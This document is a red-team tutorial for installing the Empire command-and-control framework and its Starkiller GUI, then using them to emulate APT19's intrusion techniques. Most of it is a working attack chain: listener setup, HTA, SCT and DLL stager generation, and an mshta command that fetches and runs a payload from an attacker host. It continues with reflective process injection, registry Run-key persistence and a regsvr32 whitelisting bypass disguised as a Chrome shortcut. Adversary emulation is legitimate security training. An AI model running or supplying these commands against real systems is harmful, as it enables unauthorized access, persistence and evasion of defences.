Empire3

Empire is fully supported by BC-Security

Demo of Empire with Starkiller is in this Red Team Village event video where I emulate APT19:

Install Empire

Install on Kali:

sudo apt install powershell-empire

Install on Ubuntu:

cd /opt
sudo git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh

If you are installing the newer version of Empire on the SANS Slingshot C2 Matrix Edition VM, there is a small bug because it wants Ubuntu 20.04 but slingshot is in 18.04. Replace the line in setup/install.sh with the correct version:

wget -q https://packages.microsoft.com/config/ubuntu/18.04/packages-microsoft-prod.deb

And comment the version test:

#if [ $VERSION_ID != "20.04" ]; then # echo -e '\x1b[1;31m[!] Ubuntu must be 20.04\x1b[0m' && exit #fi

Download Starkiller if you want a GUI:

cd /opt
sudo wget https://github.com/BC-SECURITY/Starkiller/releases/download/v1.0.0/starkiller-1.0.0.AppImage
sudo chmod +x starkiller-1.0.0.AppImage

Run Empire

sudo empire

On Kali:

sudo powershell-empire

Run Starkiller

Run Empire for connectivity through Starkiller if you want a GUI:

sudo empire --rest --username <user> --password <password>

Open Starkiller:

cd /opt/starkiller
./starkiller-1.2.2.AppImage

Login to Starkiller:

• Name: localhost:1337

• Username: <user>

• Password: <password>

Emulating TTPs

Will use an adversary emulation plan for APT19 as an example: https://www.scythe.io/library/threatthursday-apt19

Tactic	Description
Description	APT19 is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services.
Goal and Intent	Exist in the network to enumerate systems and information in order to maintain Command and Control to support future attacks.
Command and Control	Commonly Used Port (T1043) - TCP port 80; Standard Application Layer Protocol (T1071) - HTTP; Deobfuscate/Decode Files or Information (T1140); Data Encoding (T1132) - used Base64 to encode communications to the C2 server
Initial Access	Spearphishing attachment (T1193); Spearphishing link (T1192)
Execution	PowerShell (T1086); User Execution; Hidden Windows (T1143) - used -W Hidden to conceal PowerShell windows by setting the WindowStyle parameter to hidden; Obfuscated Files or Information (T1027) - used Base64 to obfuscate commands and the payload; DLL Side-Loading (T1073)
Discover	System Owner/User Discovery (T1033); System Information Discovery (T1082) System Network Configuration Discovery (T1016)
Persistence	Registry Run Keys/ Start up Folder (T1060) - establishes persistence by setting the Registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Debug Tools-%LOCALAPPDATA%\
Defense Evasion	Regsvr32 (T1117); Scripting (T1064) - downloaded and launched code within a SCT file to bypass application whitelisting techniques

Listeners

Create Listener

Type: http
Name: http
Host: http://10.0.0.187
Port: 80
BindIP: 10.0.0.187
Jitter: 0.5
StagingKey: georgy

Stagers

Generate Stager HTA:

Type: windows/hta
Listner: http
Base64: True
Language: powershell
Outfile: /tmp/Resume.hta

Generate Stager SCT:

Type: windows/launcher_sct
Listner: http
Base64: True
Language: powershell

Generate Stager DLL:

Type: windows/dll
Listner: http
Arch: x86
Language: powershell
OutFile: /tmp/launcher.dll

Optional Fields
Obfuscate: True
ObfuscateCommand: Token\String\1

Download the stagers to /tmp and serve with SimpleHTTPServer

cd /tmp
python -m SimpleHTTPServer 8080

Initial Access

Email with link to Resume.hta

Execution

Show execution of HTA file:

mshta http://10.0.0.187:8080/Resume.hta

Migrate to another process with reflective PE Injection: https://www.bc-security.org/post/reflective-pe-injection-in-windows-10-1909/

See processes running: ps
usemodule code_execution/invoke_reflectivepeinjection
set ProcID: <processID>
set DllPath: /tmp/launcher.dll

Discovery

whoami
usemodule situational_awareness/host/antivirusproduct 
usemodule situational_awareness/host/get_uaclevel 
usemodule situational_awareness/host/winenum

Persistence

usemodule persistence/userland/registry
set Listener: http

Open regedit HKCU\Software\Microsoft\Windows\CurrentVersion

Defense Evasion

Execution with regsvr32 and scripting. Created a shortcut called Chrome with Target set as:

C:\Windows\System32\cmd.exe /c "C:\Windows\System32\regsvr32.exe /s /n /u /i:http:\10.0.0.187:8080\launcher.sct scrobj.dll"

Upload

cd C:\Users\<username>
upload /tmp/file
shell C:\Users\<username>\<executable>

Other Resources

• Using Empire with Starkiller: How to from BC-Security